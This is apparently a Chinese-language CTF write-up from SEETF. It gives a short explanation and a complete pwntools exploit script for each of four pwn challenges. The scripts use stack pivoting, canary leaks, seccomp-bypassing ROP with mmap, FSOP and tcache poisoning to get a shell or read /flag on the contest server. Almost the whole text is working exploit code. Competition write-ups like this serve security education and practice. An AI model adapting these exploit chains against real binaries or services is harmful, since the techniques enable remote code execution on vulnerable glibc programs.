4th place

总共5道PWN,上号的时候队里的师傅已经出了1道了,然后我把剩下的4道出了

Great Expectations

读入浮点数部分写rbp,然后栈迁移+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python2
from pwn import *

context.binary = 'chall'
libc = ELF('libc.so.6', checksec = False)

sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))

pop_rdi = 0x0000000000401313
ret = 0x000000000040101a
read_got = 0x0000000000404028
puts_plt = 0x0000000000401080
start = 0x00000000004010D0
while True:
# io = process('./chall')
io = remote('win.the.seetf.sg', 2004)
rop_chain = flat([
ret,
ret,
ret,
ret,
ret,
ret,
pop_rdi,
read_got,
puts_plt,
start
])
rop_chain = rop_chain.rjust(0x100, '\x41')
sa('I live my life taking chances. Let\'s see how much of a risk-taker you are! Tell me an adventurous tale.\n', rop_chain)
sla('Give me a crazy number!\n', '0.000046')
sla('Give me a crazy number!\n', '3.021875')
sla('Give me a crazy number!\n', '+')
try:
sleep(0.25)
libc_base = uu64(io.recv(6, timeout = 0.25)) - 0x10dfc0
assert hex(libc_base).endswith('000')
break
except:
io.close()

sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
rop_chain = flat([
ret,
ret,
ret,
ret,
ret,
ret,
pop_rdi,
binsh_addr,
sys_addr,
ret
])
rop_chain = rop_chain.rjust(0x100, '\x41')
sa('I live my life taking chances. Let\'s see how much of a risk-taker you are! Tell me an adventurous tale.\n', rop_chain)
sla('Give me a crazy number!\n', '0.000046')
sla('Give me a crazy number!\n', '3.021875')
sla('Give me a crazy number!\n', '+')
ia()

Mmap note

利用tls泄露canary,菜单函数中存在栈溢出,沙箱rop

沙箱白名单里没有read,需要用mmap来读取文件

mmap(addr, len, PROT_READ, MAP_PRIVATE,fd, 0) ,其中 PROT_READ 为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python2
from pwn import *

io = remote('win.the.seetf.sg', 2000)
context.binary = 'chall'
elf = ELF('chall', checksec = False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sd = lambda x : io.send(x)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x

def menu(choice):
sla('> ', str(choice))

def add():
menu(1)

def edit(idx, size, content):
menu(2)
sla('idx = ', str(idx))
sla('size to write = ', str(size))
if size <= 0x100:
sd(content)

def show(idx):
menu(3)
sla('idx = ', str(idx))

add()
ru(' is ')
libc_base = int(ru('\n'), 16) - (0x7f911c154000 - 0x7f911bec9000) - (0x7fbff9120000 - 0x7fbff911b000) + 0xd000
for i in range(12):
add()
if i == 9:
ru(' is ')
vec_addr = int(ru('\n'), 16)
edit(10, 0x50, flat([0x00000000004040A0+0x300, 0x30, '/flag\x00']))
edit(3, 0x1770, 'a')
show(3)
data = ru('1. create note')
canary = uu64(data[-8:])
pop_rax = libc_os(0x0000000000045eb0)
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x00000000000da97d)
pop_rdx_r12 = libc_os(0x000000000011f497)
pop_rcx = libc_os(0x000000000008c6bb)
syscall = libc_os(0x0000000000091396)
pop_r8 = 0x000000000040149a
pop_r9 = 0x000000000040149d
rop_chain = flat([
pop_rax,
2,
pop_rdi,
vec_addr + 0x10,
pop_rsi,
0,
syscall,
pop_rax,
9,
pop_rdi,
0x2333000,
pop_rsi,
0x50,
pop_rdx_r12,
1,
0,
pop_r8,
3,
pop_r9,
0,
syscall,
pop_rax,
1,
pop_rdi,
1,
pop_rsi,
0x2333000,
pop_rdx_r12,
0x50,
0,
syscall
])
pld = flat({
0: '4',
0x18: canary,
0x28: rop_chain
}, filler = '\x00')
menu(pld)
ia()

CSTutorial

覆盖最后的文件指针为stdin使程序从标准输入读入,fsop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python2
from pwn import *

# io = process('./cs')
io = remote('win.the.seetf.sg', 2003)
context.binary = 'cs'
elf = ELF('cs', checksec = False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x

sla('What size to allocate?\n', str(0x21000))
sla('Which file to read? (1-3)\n', '1')
ru('chunk @ ')
libc_base = int(ru('\n'), 16) - (0x7ff539f14010 - 0x7ff539f39000)
stdin = libc_os(0x7f262ef74aa0 - 0x7f262ed5b000)
sa('Content: ', 'a')
stdout = libc_os(0x7f262ef75780 - 0x7f262ed5b000)
stderr = libc_os(0x7fa2393fd6a0 - 0x7fa2391e3000)
pld = flat({
0x10: stderr - 0x10,
0x38: stdout,
0x358: stdin
}, filler = '\x00')
sleep(0.1)
sla('Content: ', pld)
sleep(0.1)
jump_table = libc_os(0x7fd650f800c0 - 0x7fd650d6a000)
sys_addr = libc_os(libc.sym['system'])
stderr = libc_os(0x7fa2393fd6a0 - 0x7fa2391e3000)
pld = flat({
0x10-1: ' sh;',
0x88-1: sys_addr,
0x98-1: libc_os(0x7f4893b89a60 - 0x7f489396e000),
0xe8-1: jump_table-0x40,
0xb0-1: stderr,
0xd0-1: 1,
0xf0-1: stderr+0x10
}, length = 0x100, filler = '\x00')
sa('Constant!\n', pld)
ia()

babySheep

存在栈上未初始化变量,可以造成UAF,覆写stdout后fsop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python2
from pwn import *

# io = process('./sheep')
io = remote('win.the.seetf.sg', 2001)
context.binary = 'sheep'
elf = ELF('sheep', checksec = False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

rc = lambda n : io.recv(n)
sd = lambda x : io.send(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x

def menu(choice):
sla('5. [E]xit', choice)

def add(size, content):
menu('C')
sla('What size?\n', str(size))
sa('What content?\n', content)

def show(idx):
menu('O')
sla('Which text? (0-9)\n', str(idx))

def edit(idx, content):
menu('U')
sla('Which text? (0-9)\n', str(idx))
sd(content)

def delete(idx):
menu('D')
sla('Which text? (0-9)\n', str(idx))

add(0x410, 'a')
add(0x100, 'a')
add(0x100, 'a')
add(0x100, 'a')
delete(0)
show(10)
libc_base = uu64(rc(6)) - (0x7fb663638ce0 - 0x7fb66341f000)
delete(3)
show(10)
key = uu64(rc(6))
heap_base = key << 12
sys_addr = libc_os(libc.sym['system'])
delete(2)
delete(1)
add(0x100, 'a')
stdout = libc_os(0x7f38886fe780 - 0x7f38884e4000)
edit(10, flat(key ^ (stdout-0x10)))
add(0x100, 'a')
pld = flat({
0: ' sh;',
0x68: sys_addr,
0x88: libc_os(0x7f38886ffa70 - 0x7f38884e4000),
0xa0: stdout,
0xd8: libc_os(0x7f38886fa0c0 - 0x7f38884e4000),
0xe0: stdout
}, filler = '\x00')
add(0x100, pld)
menu('D')
ia()